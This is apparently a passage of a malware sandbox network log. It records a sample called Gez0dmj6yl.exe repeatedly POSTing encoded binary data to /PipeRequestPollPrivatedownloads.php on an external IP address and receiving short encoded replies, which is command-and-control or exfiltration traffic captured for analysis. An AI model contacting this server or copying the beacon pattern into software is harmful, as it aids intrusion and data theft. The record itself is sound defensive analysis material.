Sep 1, 2024 23:58:17.966567993 CEST	1032	OUT	Data Raw: 50 5d 58 5a 5d 5c 59 54 5b 5b 54 51 5b 55 56 53 57 55 5a 40 50 5b 51 5e 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P]XZ]\YT[[TQ[UVSWUZ@P[Q^^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ 20:!?V'24D.U7%7->8&.#( 1-',$)+9G$#P/0
Sep 1, 2024 23:58:18.236377954 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:18.372528076 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49817	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:18.568104029 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:19.725708008 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:19.725928068 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:19.726629019 CEST	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49819	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:19.728960037 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:20.076077938 CEST	1040	OUT	Data Raw: 50 5a 5d 5f 58 5f 5c 55 5b 5b 54 51 5b 50 56 50 57 52 5a 41 50 5f 51 5f 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: PZ]_X_\U[[TQ[PVPWRZAP_Q_^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ 126?&1#::! $S;4Y%. R+3%.%\0/?9G$#P/0
Sep 1, 2024 23:58:20.327696085 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:20.465713978 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49818	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:19.729579926 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1728 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:20.075933933 CEST	1728	OUT	Data Raw: 55 5e 5d 5f 5d 59 59 56 5b 5b 54 51 5b 55 56 56 57 54 5a 43 50 5d 51 5a 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U^]_]YYV[[TQ[UVVWTZCP]QZ^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ 2#&6.U'2.:#6 U-- X1W+2,%!\%?'<+9G$#P/
Sep 1, 2024 23:58:20.316410065 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:20.443873882 CEST	380	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 21 07 31 07 24 0c 26 59 32 54 25 1f 28 57 29 34 33 1c 2d 3e 23 13 23 20 24 56 2c 02 0c 5c 36 33 22 41 2b 29 33 03 2b 2e 28 11 35 0d 20 51 04 12 21 15 21 03 29 56 2c 28 32 06 26 1c 0e 05 35 09 3a 5f 28 04 29 55 36 29 3e 5a 25 0d 00 03 3f 12 28 52 39 2b 3c 0b 29 3f 3a 11 23 02 21 56 0f 12 25 57 31 5f 23 5e 26 2c 02 1c 24 06 29 58 23 3e 05 5d 23 5f 3b 1a 26 1d 07 01 2b 3c 27 12 2b 04 21 12 24 2c 0b 07 30 04 30 0e 27 16 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: !1$&Y2T%(W)43->## $V,\63"A+)3+.(5 Q!!)V,(2&5:_()U6)>Z%?(R9+<)?:#!V%W1_#^&,$)X#>]#_;&+<'+!$,00'#P-/R1VT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49820	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:20.601193905 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:58:20.951090097 CEST	1040	OUT	Data Raw: 55 51 5d 5b 58 5d 5c 52 5b 5b 54 51 5b 54 56 53 57 51 5a 47 50 59 51 5d 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UQ][X]\R[[TQ[TVSWQZGPYQ]^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#[&0.#?%"-% C4U8-<X&'<25\3#[<;9G$#P/
Sep 1, 2024 23:58:21.180898905 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:21.305166960 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	49821	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:21.607830048 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:21.966593027 CEST	1040	OUT	Data Raw: 50 5b 5d 5f 5d 5e 59 57 5b 5b 54 51 5b 54 56 54 57 55 5a 49 50 52 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P[]_]^YW[[TQ[TVTWUZIPRQR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ '#1!/118A9:& '8-4]1> V<12=[%<0++9G$#P/
Sep 1, 2024 23:58:22.180335999 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:22.304733992 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	49822	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:22.435359001 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:22.794703960 CEST	1040	OUT	Data Raw: 55 5e 58 5c 5d 59 59 55 5b 5b 54 51 5b 52 56 5f 57 57 5a 42 50 59 51 5e 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U^X\]YYU[[TQ[RV_WWZBPYQ^^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#%.5%&-)%U4%,R,.7$.<S(/23??;9G$#P/
Sep 1, 2024 23:58:23.017138004 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:23.146595001 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49823	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:23.505491972 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:23.857302904 CEST	1040	OUT	Data Raw: 55 5e 58 5d 5d 58 59 50 5b 5b 54 51 5b 54 56 54 57 54 5a 46 50 52 51 5b 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U^X]]XYP[[TQ[TVTWTZFPRQ[^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#_%#&"Y=%$E.W4%/,.;%=;(?$>',/Z<;9G$#P/
Sep 1, 2024 23:58:24.102168083 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:24.230344057 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49824	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:24.388742924 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:24.747814894 CEST	1040	OUT	Data Raw: 55 51 58 59 58 52 59 50 5b 5b 54 51 5b 52 56 54 57 51 5a 40 50 5a 51 59 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UQXYXRYP[[TQ[RVTWQZ@PZQY^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ &#="/1&+.248=]%;?4\$-0\?9G$#P/
Sep 1, 2024 23:58:24.963284969 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:25.089282990 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49825	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:25.217792034 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49826	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:25.459507942 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1716 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:25.810314894 CEST	1716	OUT	Data Raw: 55 51 58 5b 5d 5f 59 52 5b 5b 54 51 5b 55 56 55 57 5a 5a 46 50 5a 51 5c 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UQX[]_YR[[TQ[UVUWZZFPZQ\^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#_% 52&T?:>48/=+%/(W<X$=]3Y<+9G$#P/(
Sep 1, 2024 23:58:26.032237053 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:26.325365067 CEST	380	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:25 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 21 07 32 00 3b 55 31 01 2e 55 31 57 2f 0b 3e 37 01 1a 2e 07 34 07 22 33 1a 1d 2c 3c 0c 58 21 0d 26 42 2b 3a 30 5b 2b 3d 06 55 21 27 20 51 04 12 21 5a 36 3e 39 57 2d 38 31 15 25 0b 2c 00 21 23 22 5a 2b 2a 31 50 22 14 0c 58 25 0a 2a 00 3c 2f 20 54 2d 28 02 05 3e 3c 2d 0b 23 12 21 56 0f 12 26 0f 32 39 33 59 27 3c 2c 51 30 11 21 17 36 2d 3f 5d 20 39 09 15 31 1d 2d 06 28 11 06 06 3c 3d 0b 11 30 3c 26 5b 30 3d 33 55 26 2c 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: !2;U1.U1W/>7.4"3,<X!&B+:0[+=U!' Q!Z6>9W-81%,!#"Z+1P"X%</ T-(><-#!V&293Y'<,Q0!6-?] 91-(<=0<&[0=3U&,#P-/R1VT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49827	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:25.584053040 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:25.935281992 CEST	1040	OUT	Data Raw: 55 59 58 52 58 52 59 5f 5b 5b 54 51 5b 51 56 55 57 52 5a 43 50 5e 51 5b 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UYXRXRY_[[TQ[QVUWRZCP^Q[^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#^&V!":W24B-\&4C<,-%.8V?2<&.=0,$?9G$#P/4
Sep 1, 2024 23:58:26.325378895 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:26.325382948 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	49828	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:26.455229998 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:58:26.810400963 CEST	1040	OUT	Data Raw: 50 5a 58 5c 58 53 59 54 5b 5b 54 51 5b 57 56 5e 57 52 5a 41 50 5d 51 5e 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: PZX\XSYT[[TQ[WV^WRZAP]Q^^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#\&0*^#<9192 7/[(%-+1$$.5Y%?/(+9G$#P/,
Sep 1, 2024 23:58:27.038182020 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:27.162368059 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	49829	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:27.299956083 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:27.654532909 CEST	1040	OUT	Data Raw: 50 5f 58 5c 5d 5f 59 55 5b 5b 54 51 5b 54 56 53 57 53 5a 46 50 58 51 53 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P_X\]_YU[[TQ[TVSWSZFPXQS^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#[1.Y">V%2C.24%+,<Y$>'?,Y%'/3[?9G$#P/
Sep 1, 2024 23:58:27.873025894 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:27.997078896 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	49830	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:28.127131939 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:28.482189894 CEST	1040	OUT	Data Raw: 55 5e 58 5e 58 5a 5c 53 5b 5b 54 51 5b 50 56 54 57 56 5a 46 50 59 51 5b 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U^X^XZ\S[[TQ[PVTWVZFPYQ[^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#^23=5:W%+9*=7%7/=&)!32["$<?);9G$#P/0
Sep 1, 2024 23:58:28.705148935 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:28.828738928 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	49831	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:28.954508066 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
